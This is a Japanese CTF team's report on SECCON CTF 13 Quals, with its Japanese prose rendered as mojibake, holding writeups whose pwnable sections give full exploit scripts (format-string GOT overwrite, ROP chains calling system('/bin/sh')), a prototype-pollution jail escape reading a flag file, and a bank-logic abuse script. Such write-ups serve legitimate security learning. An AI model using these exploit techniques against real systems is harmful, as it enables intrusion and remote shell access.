ããã«ã¡ã¯ãCTFé¨é¨é·ã®zeosuttã§ãã
å¼ç¤¾ã®CTFãã¼ã spookiesã¯ã2024/11/23-24ã«éå¬ãããSECCON CTF 13 Qualsã«åå ãã¾ããã
çµæã¯å
¨ä½47ä½ãå½å
15ä½ã§ããã
以ä¸ãåã¡ã³ãã¼ã®åå è¨ã¾ã¨ãã§ãã
zeosutt
writeup
[reversing] packed (119 solves)
UPXã§packããããã¤ããªã§ãã
ã¿ã¼ããã®è§£æã«ãããunpackå¾ã®ãã¤ããªã«ã¯ãããããã©ã°ããªããã¨ãåãã£ããããå ã®ãã¤ããªãè¦ããã¨ã«ãã¾ããã
GDBã§èµ·åãããã©ã°ã®å ¥åå¾ ã¡ã«ãªã£ãã¿ã¤ãã³ã°ã§æ¢ããä»è¿ã®ã³ã¼ãã確èªããã¨ä»¥ä¸ã®éãã§ãã
(gdb) r Starting program: /tmp/SECCON/packed/a.out FLAG: ^C Program received signal SIGINT, Interrupt. 0x000000000044ee1f in ?? () (gdb) x/18i $rip-0x10 0x44ee0f: push %rsp 0x44ee10: pop %rsi 0x44ee11: mov $0x80,%edx 0x44ee16: sub %rdx,%rsi 0x44ee19: xor %edi,%edi 0x44ee1b: xor %eax,%eax 0x44ee1d: syscall => 0x44ee1f: cmp $0x31,%eax 0x44ee22: jne 0x44eec3 0x44ee28: mov %eax,%ecx 0x44ee2a: pop %rdx 0x44ee2b: pop %rsi 0x44ee2c: lea -0x90(%rsp),%rdi 0x44ee34: lods %ds:(%rsi),%al 0x44ee35: xor %al,(%rdi) 0x44ee37: inc %rdi 0x44ee3a: loopne 0x44ee34 0x44ee3c: call 0x44ee72
ã¹ã¿ãã¯ã«å
¥åãèªã¿è¾¼ãã å¾ãèªã¿è¾¼ãã ãã¤ãæ°ã 0x31
ã§ããã°ãå
¥åã¨è¬ã®ãã¤ãåAãxorãã 0x44ee72
ãcallãã¦ãã¾ãã
0x44ee72
ã¯ä»¥ä¸ã®éãã§ãã
(gdb) x/11i 0x44ee72 0x44ee72: mov $0x31,%ecx 0x44ee77: pop %rsi 0x44ee78: lea -0x90(%rsp),%rdi 0x44ee80: xor %edx,%edx 0x44ee82: lods %ds:(%rsi),%al 0x44ee83: cmp %al,(%rdi) 0x44ee85: setne %al 0x44ee88: or %al,%dl 0x44ee8a: inc %rdi 0x44ee8d: loopne 0x44ee82 0x44ee8f: test %edx,%edx
å
ã»ã©ã®å¦çãèæ
®ããã¨ããå
¥åã¨è¬ã®ãã¤ãåAãxorãããã®ããè¬ã®ãã¤ãåBã¨çããããã確èªãã¦ãã¾ãã
çããã¨ãã®å
¥åããã©ã°ã ããã¨æ¨æ¸¬ã§ãã¾ããã
ãã¤ãåAã¯ãä¾ãã° 0x44ee2c
æç¹ã§rsiãæãå
ã表示ããã°å¾ããã¾ãã
(gdb) b *0x44ee2c Breakpoint 1 at 0x44ee2c (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x000000000044ee2c in ?? () (gdb) x/49xb $rsi 0x7ffff7ff7f14: 0xe8 0x4a 0x00 0x00 0x00 0x83 0xf9 0x49 0x7ffff7ff7f1c: 0x75 0x44 0x53 0x57 0x48 0x8d 0x4c 0x37 0x7ffff7ff7f24: 0xfd 0x5e 0x56 0x5b 0xeb 0x2f 0x48 0x39 0x7ffff7ff7f2c: 0xce 0x73 0x32 0x56 0x5e 0xac 0x3c 0x80 0x7ffff7ff7f34: 0x72 0x0a 0x3c 0x8f 0x77 0x06 0x80 0x7e 0x7ffff7ff7f3c: 0xfe 0x0f 0x74 0x06 0x2c 0xe8 0x3c 0x01 0x7ffff7ff7f44: 0x77
ãã¤ãåBãåæ§ã«åãåºãã°ããã¨ã¯xorãã¦çµããã§ãã
from pwn import * key = b'\xe8\x4a\x00\x00\x00\x83\xf9\x49\x75\x44\x53\x57\x48\x8d\x4c\x37\xfd\x5e\x56\x5b\xeb\x2f\x48\x39\xce\x73\x32\x56\x5e\xac\x3c\x80\x72\x0a\x3c\x8f\x77\x06\x80\x7e\xfe\x0f\x74\x06\x2c\xe8\x3c\x01\x77' ct = b'\xbb\x0f\x43\x43\x4f\xcd\x82\x1c\x25\x1c\x0c\x24\x7f\xf8\x2e\x68\xcc\x2d\x09\x3a\xb4\x48\x78\x56\xaa\x2c\x42\x3a\x6a\xcf\x0f\xdf\x14\x3a\x4e\xd0\x1f\x37\xe4\x17\x90\x39\x2b\x65\x1c\x8c\x0f\x7c\x7d' print(xor(key, ct))
SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
loopï¼ä»åã¯loopneã§ãããï¼ãSECCON 2018決åã®ã¢ã»ã³ããªã³ã¼ãã´ã«ãã§ç¥ã£ã¦ä»¥æ¥ãåãã¦è¦ãæ°ããã¾ãã
æ°ä»ãã¦ããªãã£ãã ãããããã¾ãããã
[pwnable] Paragraph (61 solves)
ã½ã¼ã¹ã³ã¼ãã¯ä»¥ä¸ã®éãã§ããã·ã³ãã«ã
#include <stdio.h> int main() { char name[24]; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("\"What is your name?\", the black cat asked.\n"); scanf("%23s", name); printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name); return 0; }
FSBããããã®ã®ã23ãã¤ãã®å
¥åå¶éãããããã2ãã¤ãæ¸ãç¨åº¦ããã§ãã¾ããã
ãããã«ããã ãã§ã¯ããªã¼ã¯ãã¤ã¤ main()
ãåå®è¡ãã®ãããªãã¨ã¯ä¸å¯è½ã§ãã
checksecã®çµæã¯ä»¥ä¸ã®éãã§ãã
$ checksec --file=chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 1 chall
Partial RELROãã¤No PIEãªã®ã§ãä¸è¨FSBã§GOT overwriteãå¯è½ã§ãã
ã¡ããã©ãFSBããã printf()
ã®ç´å¾ã® printf()
ããã printf@got
ã scanf
ã«æ¸ãæãã¦ãããã¨è¨´ãã¦ãã¾ããã
åè¿°ã®éã2ãã¤ãããæ¸ãæãããã¾ãããã幸ããä»åã®libcã«ããã printf
ã®ãªãã»ãã㨠scanf
ã®ãªãã»ããã¯ãä¸ä½2ãã¤ããé¤ãã¦åãã§ãã
$ nm -D libc.so.6 | grep -E ' (printf|scanf)\b' 00000000000600f0 T printf@@GLIBC_2.2.5 0000000000066290 T scanf@@GLIBC_2.2.5
ãã®ããã1/16ã®ç¢ºç㧠printf@got
ã scanf
ã«æ¸ãæãããã¨ãã§ãã¾ãã
No canary foundãè¸ã¾ããã¨ãããã§èªç±ã«ROPã§ããããã«ãªãã¾ããã
次ã¯ã©ããã£ã¦rdiãå¶å¾¡ãããã§ãããããããããã¨ã«åé¡ãã¤ããªã¯glibc 2.31ã®ç°å¢ã§ãã«ãããã¦ããããã __libc_csu_init()
ãåå¨ãã¾ãã
ãã¨ã¯ããã ãã§ãã
from pwn import * context.arch = 'amd64' target = ELF('chall') POP_RDI = next(target.search(asm('pop rdi; ret'), executable=True)) RET = next(target.search(asm('ret'), executable=True)) libc = ELF('libc.so.6') BIN_SH = next(libc.search(b'/bin/sh')) while True: try: # with target.process() as r: with remote('paragraph.seccon.games', 5000) as r: payload = b'' payload += f'%{libc.symbols['scanf'] & 0xffff}c%8$hn'.encode() payload += b'A' * (0x10 - len(payload)) payload += p64(target.got['printf'])[:7] assert len(payload) == 23 r.sendafter(b'the black cat asked.\n', payload) payload = b'' payload += b'answered, a bit confused. "Welcome to SECCON," the cat greeted ' payload += b'A' * 0x28 payload += p64(POP_RDI) + p64(target.got['puts']) payload += p64(target.plt['puts']) payload += p64(target.symbols['main']) payload += b'warmly. hoge' r.sendlineafter(p64(target.got['printf'])[:3], payload) LIBC_BASE = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols['puts'] r.recvuntil(b'the black cat asked.\n') print(hex(LIBC_BASE)) payload = b'' payload += b'answered, a bit confused. "Welcome to SECCON," the cat greeted ' payload += b'A' * 0x28 payload += p64(POP_RDI) + p64(LIBC_BASE + BIN_SH) payload += p64(RET) payload += p64(LIBC_BASE + libc.symbols['system']) payload += b'warmly. hoge' r.sendline(payload) r.interactive() break except EOFError: pass
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
ãã«ãç°å¢ã¨å®è¡ç°å¢ãå¥ã«ããã¨ããçºæ³ããªãã£ãã®ã§ããglibc 2.39ãªã®ã« __libc_csu_init()
ãããï¼ï¼ãã¨ããªãé©ãã¾ããã
[pwnable] Make ROP Great Again (37 solves)
ã½ã¼ã¹ã³ã¼ãã¯ä»¥ä¸ã®éãã§ããé常ã«ã·ã³ãã«ã
int main(void){ char buf[0x10]; show_prompt(); gets(buf); return 0; } void show_prompt(void){ puts(">"); }
ã¾ããchecksecã®çµæã¯ä»¥ä¸ã®éãã§ãã
$ checksec --file=chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 40 Symbols No 0 1 chall
å»å¹´ã® rop-2.35 ã¨ä¼¼ã¦ãã¾ãããä»å㯠system()
ã®ä»£ããã« puts()
ãå¼ã°ãã¦ãã¾ãã
ã¤ã¾ããlibcã®ã¢ãã¬ã¹ããªã¼ã¯ããã¨ãããã¨ã§ããã
rdiãèªç±ã«å¶å¾¡ã§ããã°å³çµäºã§ãããå
ã»ã©ã® Paragraph ã¨ã¯ç°ãªãæ®éã«glibc 2.39ã®ç°å¢ã§ãã«ãããã¦ãããããã¨ã¦ãèªç±ã«å¶å¾¡ã§ããã¨ã¯æãã¾ããã
ãããªããã§ãããæãã®ROPã¬ã¸ã§ãããæ¢ãã¾ãã
ã¾ãã mov edi, 0x404010; jmp rax
ã®ã¬ã¸ã§ããã«çç®ãã¾ãã
0x404010
㯠&stdout
ãªã®ã§ãraxã puts@plt
ã«ãã¦ãããããå©ç¨ããã°ãlibcã®ã¢ãã¬ã¹ããªã¼ã¯ã§ãã¾ãã
raxãä¸çºã§ä»»æã®å¤ã«ã§ããã¬ã¸ã§ããã¯ããã¾ãããã add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret
ã®ã¬ã¸ã§ãããå©ç¨ããã°ãä¸åº¦ã« 0x2ecb
ãã¤å ç®ãã¦ãããã¨ãã§ãã¾ãã
ãã¨ã¯ãraxã« puts@plt % 0x2ecb
ã代å
¥ï¼ã¾ãã¯å ç®ï¼ã§ããã°OKã§ãã
rop-2.35 ã§ã¯ã gets()
ããè¿ã£ãç´å¾ã®rdiã« &_IO_stdfile_0_lock
ãå
¥ã£ã¦ãããã¨ãå©ç¨ãã¾ããããããã¯glibc 2.39ã§ãåæ§ã§ãã
ãããã£ã¦ã gets()
-> gets()
-> puts()
ã¨é£ç¶ã§å¼ã¶ãã¨ã§ãå°ããå¤ã§ããã°raxãä»»æã«å¶å¾¡ã§ãã¾ãã
以ä¸ã§libcã®ã¢ãã¬ã¹ã®ãªã¼ã¯ã¾ã§ã¯ã§ãã¾ããã gets()
-> gets()
ã§æç´ã« _IO_stdfile_0_lock
ãæ¸ãæãã¦ããå ´åããªã¼ã¯å¾ã® gets()
ã§ããã¯ãåå¾ãããã¨æ°¸é ã«å¾
ã¡ç¶ãã¦ãã¾ãã¾ãã
ãã®ããã add dil, dil; loopne 0x401155; nop; ret
ï¼ 0x401155
㯠inc esi; add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret
ï¼ã®ã¬ã¸ã§ããã«ãããæ¸ãè¾¼ã¿å
ããããå¿
è¦ãããã¾ãã
ãã¨ã¯ããã ãã§ãã
import subprocess from pwn import * context.arch = 'amd64' target = ELF('chall') ADD_DIL_DIL = 0x4010ea ADD_EAX_2ECB = next(target.search(asm('add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret'), executable=True)) MOV_EDI_STDOUT_JMP_RAX = next(target.search(asm('mov edi, 0x404010; jmp rax'), executable=True)) RET = next(target.search(asm('ret'), executable=True)) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('libc.so.6') POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True)) BIN_SH = next(libc.search(b'/bin/sh')) while True: try: # with target.process() as r: # with remote('localhost', 7428) as r: with remote('mrga.seccon.games', 7428) as r: r.recvline() r.send(subprocess.run(r.recvline(), shell=True, capture_output=True).stdout) payload = b'' payload += b'A' * 0x10 payload += p64(target.bss(0x100)) payload += p64(ADD_DIL_DIL) payload += p64(target.plt['gets']) payload += p64(ADD_DIL_DIL) payload += p64(target.plt['puts']) payload += p64(ADD_EAX_2ECB) * (target.plt['puts'] // 0x2ecb) payload += p64(MOV_EDI_STDOUT_JMP_RAX) payload += p64(target.symbols['main']) r.sendlineafter(b'>\n', payload) r.sendline(b'A' * (target.plt['puts'] % 0x2ecb - 1)) r.recvline() LIBC_BASE = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols['_IO_2_1_stdout_'] print(hex(LIBC_BASE)) payload = b'' payload += b'A' * 0x18 payload += p64(LIBC_BASE + POP_RDI) + p64(LIBC_BASE + BIN_SH) payload += p64(RET) payload += p64(LIBC_BASE + libc.symbols['system']) r.sendlineafter(b'>\n', payload) r.interactive() break except EOFError: pass
SECCON{53771n6_rd1_w17h_6375_m4k35_r0p_6r347_4641n}
ããã©ãROPã§ããã楽ããã£ãã§ããROPã«ç¡éã®å¯è½æ§ãæãã¾ããã
[jail] pp4 (41 solves)
æå種æ°4以å
ã®JSã³ã¼ããå®è¡ãã¦ããããµã¼ãã¹ã§ãã
å®è¡åã«ãJSONã§è¡¨ç¾å¯è½ãªç¯å²ï¼é
åãé¤ãï¼ã§ {}
ã®ãããã¿ã¤ããæ±æããã¦ããã¾ãã
[].constructor.constructor(ã³ã¼ã)()
ã®å½¢ã§ä»»æã³ã¼ããå®è¡ãããã¨ãç®æãã¾ãã
ã¾ãã []
ã ToPropertyKey()
ãã㨠""
ã«ãªãã¾ãã
ãã®ããã ({}).__proto__[""]
ã "constructor"
ã«ãã¦ããã¨ã [][[]]
㧠"constructor"
ã [][[][[]]][[][[]]]
㧠[].constructor.constructor
ãä½ãã¾ãã
次ã«ã [].constructor.constructor()()
㯠undefined
ã§ãããããã ToPropertyKey()
ãã㨠"undefined"
ã«ãªãã¾ãã
ãã®ããã ({}).__proto__["undefined"]
ã好ããªæååã«ãã¦ããã¨ã [][[][[][[]]][[][[]]]()()]
ã§ãã®æååãä½ãã¾ãã
以ä¸ããã [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])()
ã§ä»»æã³ã¼ããå®è¡ã§ãã¾ãã
$ nc pp4.seccon.games 5000 Input JSON: {"__proto__": {"": "constructor", "undefined": "return process.mainModule.require('fs').readFileSync('/flag-1863aa693df962ff8433c6b227d63dc0.txt').toString()"}} {} Input code: [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])() SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
``
ã§é¢æ°ãå¼ã¹ã°3種ã§è¡ããã®ã§ã¯ã¨æãã¾ãããã [][[][[][[]]][[][[]]]````]
ã§ä½ã£ãæååã [].constructor.constructor
ã®å¼æ°ã«ãããã¨ãã§ãã¾ããã§ãããæ®å¿µã
ææ³
ãã¡ãã¡ã£ãã...
å»å¹´ã¯å½å
11ä½ãããã10ä½ï¼äºé¸ééãã¼ãã¼ï¼ã¨ãã£ãã®3ç¹å·®ã¨ããé常ã«æããçµæã«çµãã£ãï¼ãã®å¾å¥è·¡çã«äºé¸ééï¼ããã§ãããä»å¹´ã¯15ä½ãæããããªãã¨ããªãã
ã¾ã ã¾ã ç²¾é²ã足ããªãããã§ããåºç´ãã¦ãã¾ãã
çµæã¯ç½®ãã¦ããã¨ãã¦ãä»å¹´ãããããã®è¯è³ªãªåé¡ã«åãçµããã¨ãã§ããã¨ã¦ã楽ãã幸ããªæéãéããã¾ããã
éå¶ãä½åã®çæ§ããããã¨ããããã¾ããã
ä½è«
å»å¹´ã®åå è¨ ã¨ä»å¹´ã®åå è¨ã®ãããç»åãè¦æ¯ã¹ãã¨ããããã¨ã«æ°ä»ãã¾ãã
ãããå
¨ä½é ä½ãã©ã¡ãã47/653ãªãã§ããåããééãã¦å»å¹´ã®ç»åãè²¼ã£ã¡ãã£ãã®ãã¨åéããã¾ããã
åãå¶ç¶ãããããã ãªããã¨ã
mi-san
ãã®ãã¼ã§ãªãCTFã«ã¯ååå ãããã¦ä¹
ãã¶ãã®CTFåå ã¨è¥å¹²å£ãããã¾ããããã²ã¨ã¾ãåå ï¼ï¼å解ããã¨ããã§ããã§ãããå¦ã³ã®ããæéãéãããã¨æãã¾ãã
reversingã®packedã«åãçµã¿ã¾ããããã®ã¾ã¾å®è¡ã§ããªãã£ãã®ã§unpackãã¦ã¿ãã¨å®è¡ãã§ããããã«ã(ã©ãããunpackããã¨ãå®è¡ãã§ããï¼ èªåã®ç°å¢ãMacã ã£ãã®ã§ãä»®æ³ç°å¢ãå
ã«ç«ã¦ã¦ããã¹ãã ã£ãã¨å¾ã
çæ...ã)ãã®å¾Ghidraã使ã£ã¦ã¢ã»ã³ããªã¨ç¨ãã£ããGhidraèªåã§ä½¿ãã®ã¯åãã¦ã ã£ãã®ã§è¯ãçµé¨ã«ãªãã¾ãããããããªãã¨unpackå¾ã®ã³ã¼ããåæããã®ã«ã¯æå³ããªããunpackåã®ã³ã¼ããåæããã¹ãã ã£ãããã§ããè¦æ¦ãã¦ããããã«ããããµã¯ãã¨è§£ãã¦ããã¾ãã(ä¸å¯§ã«è§£èª¬ãã¦ããã¾ããæè¬)ããããæãé¨é·...ï¼
hiraoka
[web] Trillion Bank (84 solves)
- TEXTåã®æ大é·65535ãã¤ããè¶ ããnameã§ç»é²ãããã¨ã§ãåä¸nameã®ã¦ã¼ã¶ã¼ãä½æãããã¨ãã§ãã
- ãã ãããµã¼ãã¼ãµã¤ãã§ä½¿ç¨ãã¦ããã¦ã¼ã¶ã¼åãã§ãã¯ã«ã¯jsã®Setã§ä¿æããããã®ã使ç¨ãããã¨ããããã
- ãã¡ãã¯ãã¡ãããç¹ã«æ大é·ã®å¶éã¯ãªã
- åä¸nameã®ã¦ã¼ã¶ã¼ããééããå ´åãèªèº«ã®å£åº§ããã¯æ®é«ãæ¸ããªã
- åä¸nameã¨ãªãã¦ã¼ã¶ã¼ãããããä½ã£ã¦ãééãè¡ãªã£ã¦ããã¨ãåã ã§æ®é«ãå¢ããã¦ãããã¨ãå¯è½
import requests import random import string def random_name(n): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n)) BASE_URL = "http://trillion.seccon.games:3000/" # BASE_URL = "http://localhost:3000/" # ã¯ã©ã¤ã¢ã³ãï¼åéå´ï¼ã®ã»ãã·ã§ã³ client = requests.Session() client_db_name = random_name(65535) client_name = client_db_name # ã¯ã©ã¤ã¢ã³ãï¼ç»é² response = client.post(f"{BASE_URL}/api/register", json={"name": client_name}) if response.status_code == 200: print("Client 1 registered:", response.json()) else: print("Client 1 registration failed:", response.text) evil_clients = [] amount = 10 # evilã¯ã©ã¤ã¢ã³ãéã®ç»é² # 37ã¯ã©ã¤ã¢ã³ãã§ã®ä¸æ£ããã¼ããã£ã¹ãééã§1trillionéæ for i in range(37): evil_client = requests.Session() evil_client_name = client_db_name + f'evil{i}' response = evil_client.post(f"{BASE_URL}/api/register", json={"name": evil_client_name}) if response.status_code == 200: print(f"Evil Client {i} registered:", response.json()) evil_clients.append(evil_client) else: print(f"Evil Client {i} registration failed:", response.text) for i, evil_client in enumerate(evil_clients): response = evil_client.post(f"{BASE_URL}/api/transfer", json={ "recipientName": client_name, # ééå "amount": str(amount) # ééé¡ }) if response.status_code == 200: print(f"Transfer successful by evil{i}:", response.json()) else: print(f"Transfer failed:", response.text) amount *= 2 # ã¯ã©ã¤ã¢ã³ã: ãã©ã°ç¢ºèª response = client.get(f"{BASE_URL}/api/me") if response.status_code == 200: print("Client data:", response.json()) else: print("Failed to fetch client data:", response.text)
chururi
[rev] Jump (118pt, 69 Solves)
- Ghidra ã§ãã³ã³ãã¤ã«ããã¨ãã©ã°ã®æ¤è¨¼ã³ã¼ããåºã¦ãã
- ãã©ã°ã 4 æåãã¤ã«åºåã£ã¦ãã®å¡ã§æ¤è¨¼ããã¦ããã£ã½ã
- åå 4 ãããã¯ã¨å¾å 4 ãããã¯ã¨ã§æ¤è¨¼ã¢ã«ã´ãªãºã ãç°ãªãã1 ãããã¯ã« 1 ã¤æ¤è¨¼é¢æ°ãåå¨ãã¦ãã
- ååã¯åç´æ¯è¼
- ä¾ãã°æ¬¡ã®ãããªã³ã¼ãï¼
param_1
ã¯å ¥åæååã® 1 ãããã¯åã®æå - ã·ã³ãã«ã«
0x336b3468
ã ASCII ã«å¤æãããã¨ã§3k4h
ã¨ããæååãå¾ããã - ãªãã«ã¨ã³ãã£ã¢ã³ãªã®ã§ãéã«ãã¦
h4k3
- æ®ãã® 3 ã¤ã®é¢æ°ã«ãåãä½æ¥ãé©ç¨ãããã¨ã§
_1t_
ON{5
SECC
ãå¾ããã - ãããã®ãããã¯ããããªã«çµã¿æ¿ãã¦ï¼æ¬å½ã¯ãã³ã³ãã¤ã«çµæããçµã¿æãæ¹æ³ããããã¯ãã ãä¸æã ã£ãï¼
SECCON{5hake_1t_
ã¾ã§åãã
- ä¾ãã°æ¬¡ã®ãããªã³ã¼ãï¼
- å¾åã®æ¤è¨¼ã¯å°ãã²ãã
- ä¾ãã°æ¬¡ã®ãã
param_1
ã¯å ¥åæååå ¨ä½ãDAT_00412038
ã¯ãªãã»ãããæãã¦ããã£ã½ãint *
ã«ãã£ã¹ããããã¨ã§å ¥åæååãã 4 ãã¤ãåãããªãã¡ 4 æåãåãåºãã¦ããã¨è¦ã- æ´ã«
-4
ã§ãªãã»ããã 4 ã¤åã«ãããã¦ãããã¨ããã1 ã¤åã®ãããã¯ãåç §ãã¦ãããã¨ã«æ°ãã¤ã - ãã®ãã¨ãã n çªç®ã¨ n - 1 çªç®ã®ãããã¯ã®åãåã£ã¦æ¤è¨¼ãã¦ããã¨åãã
- åè¿°ã®ããã«ã©ã®é çªã§ãããã¯ãæ¤è¨¼ãã¦ããããåãããªãã£ãã®ã§ãã¾ã 4 ã¤ã®æ¤è¨¼é¢æ°ã®
==
æ¼ç®åã®å³è¾ºã®æ°å¤ã¨ååã® 4 çªç®ã®ãããã¯ã®æ°å¤ã¨ã®å·®ãããããåãããã®æ°å¤ã ASCII çã«å¦¥å½ã«ãªã£ããã®ã 5 çªç®ã®ãããã¯ã®æ¤è¨¼é¢æ°ã¨ã¿ãªã- 左辺ã¯åãåã£ã¦ããã®ã«ããããããå³è¾ºã®æ°å¤ã
-
ã«ãªã£ã¦ããã®ã¯ãªã¼ãã¼ããã¼ãã¦ãããã
- 左辺ã¯åãåã£ã¦ããã®ã«ããããããå³è¾ºã®æ°å¤ã
- 6 çªç®ããã¯å¾åãããã¯å ã§é å¼µã£ã¦è¨ç®ãã¦ãã
- ãã®ä½æ¥ã§
hk3}
up_5
-5h5
h-5h
ãå¾ãããä¾ã«ãã£ã¦ãããªã«çµã¿æ¿ãã¦up_5h-5h-5h5hk3}
ãå¾ããã
- ååã®æååã¨çµåãã¦
SECCON{5h4k3_1t_up_5h-5h-5h5hk3}
ãå¾ããã
ææ³
1 å¹´ã¶ã 2 åç®ã® SECCON äºé¸åå ã¨ãªãã¾ãããæ®å¿µãªãããä»å¹´ã¯ãã¾ãããçµæãå¾ãããã¨ã¯è¨ãã¥ããã§ãããããã§ãä»å¹´ã¯ 1 å解ããã¨ãã§ãæé·ãè¦ããã¾ããï¼æ¨å¹´ã¯ 1 åã解ããã§ãã...ï¼ããã®ä¸æ¹ãæ®æ®µ Web ã®éçºããã¦ããã®ã«ãé¢ããã Web åã解ããªãã£ãã®ã«ã¯ä¸æ¹ã®æãããæ®ã£ã¦ãã¾ããCTF ã¯æè¡ã®æ¥½ãããæ大éã«å¼ãåºãã¦ããããã®ãªã®ã§ãæ¥å¹´ã«åãã¦ã楽ãã¿ãªããè ã磨ãã¦ããããã¨æãã¾ãã
nishizuka
æ¯åã¡ãã£ã¨ã ãåå ãã¦ãå ¨ç¶è§£ããã«åçãã¦ã奮起ãèªããã¨ãç¹°ãè¿ãã¦ãã西å¡ã§ãã
ã¡ã³ãã¼ãåªç§ã«ãªã£ã¦ãã¦ããã®ããã£ã¦ãããã«çãã¦æ¥ã ã®ç·´ç¿ãã§ãã¦ãã¾ããã
ã¨ã¯ããããªããè²ã ã¨å¿ããã®ã§ãã
è±èªã¨åãããã³ãã³ãã大äºãªã®ã§ãããã¾ãããã¤ã